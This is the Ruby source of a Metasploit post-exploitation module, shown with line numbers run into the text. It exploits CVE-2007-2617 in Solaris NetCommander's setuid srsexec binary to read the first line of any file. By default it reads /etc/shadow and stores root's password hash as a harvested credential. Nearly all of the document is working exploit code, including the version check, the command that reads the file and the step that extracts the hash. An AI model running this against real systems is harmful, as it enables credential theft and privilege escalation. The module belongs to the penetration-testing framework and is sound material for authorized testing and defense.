Path: blob/master/modules/post/solaris/escalate/srsexec_readline.rb
19612 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Solaris::System8include Msf::Post::Solaris::Priv910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Solaris srsexec Arbitrary File Reader',15'Description' => %q{16This module exploits a vulnerability in NetCommander 3.2.3 and 3.2.5.17When srsexec is executed in debug (-d) verbose (-v) mode,18the first line of an arbitrary file can be read due to the suid bit set.19The most widely accepted exploitation vector is reading /etc/shadow,20which will reveal root's hash for cracking.21},22'License' => MSF_LICENSE,23'Author' => [24'h00die', # metasploit module25'iDefense' # discovery reported anonymously to https://labs.idefense.com26],27'Platform' => [ 'solaris' ],28'SessionTypes' => [ 'shell', 'meterpreter' ],29'References' => [30['CVE', '2007-2617'],31['URL', 'https://download.oracle.com/sunalerts/1000443.1.html'],32['URL', 'https://www.securityfocus.com/archive/1/468235'],33['EDB', '30021'],34['BID', '23915']35],36'DisclosureDate' => '2007-05-07',37'Notes' => {38'Stability' => [CRASH_SAFE],39'SideEffects' => [IOC_IN_LOGS],40'Reliability' => []41}42)43)44register_options([45OptString.new('FILE', [true, 'File to read the first line of', '/etc/shadow'])46])47end4849def suid_bin_path50'/opt/SUNWsrspx/bin/srsexec'51end5253def check54if is_root?55fail_with(Failure::BadConfig, 'Session already has root privileges')56end5758# This ls is based on the guidance in the sun alerts article59unin = cmd_exec '/usr/bin/ls /opt/SUNWsrspx/bin/UninstallNetConnect.*.sh'60unin =~ /UninstallNetConnect\.([\d.]{11})\.sh/61unless ::Regexp.last_match(1)62print_error('NetConnect uninstall not found, either not installed or too new')63return false64end6566version = Rex::Version.new(::Regexp.last_match(1).split('.').map(&:to_i).join('.'))67unless version.between?(Rex::Version.new('3.2.3'), Rex::Version.new('3.2.4'))68print_error "#{version} is not vulnerable"69return false70end71print_good("#{version} is vulnerable")7273unless setuid?(suid_bin_path)74vprint_error("#{suid_bin_path} is not setuid, it must have been manually patched")75return false76end7778true79end8081def run82unless check83fail_with(Failure::NotVulnerable, 'Target is not vulnerable')84end8586flag = Rex::Text.rand_text_alpha(5)87output = cmd_exec("#{suid_bin_path} -dvb #{datastore['FILE']} #{flag}")88vprint_good("Raw Command Output: #{output}")8990# The first line of the file is cut at 20 characters.91# If the output is longer than 20 characters, then92# the next line will start with the last 2 characters from the previous line,93# followed by the next 18 characters.9495formatted_output = output.scan(/binaries file line: (.+)$/).flatten.map do |line|96(line.length == 20) ? line[0..17] : line97end.join9899return if formatted_output.empty?100101print_good("First line of #{datastore['FILE']}: #{formatted_output}")102103return unless datastore['FILE'] == '/etc/shadow'104105print_good("Adding root's hash to the credential database.")106credential_data = {107origin_type: :session,108session_id: session_db_id,109workspace_id: myworkspace_id,110post_reference_name: fullname,111username: formatted_output.split(':')[0],112private_data: formatted_output.split(':')[1],113private_type: :nonreplayable_hash114}115create_credential(credential_data)116end117end118119120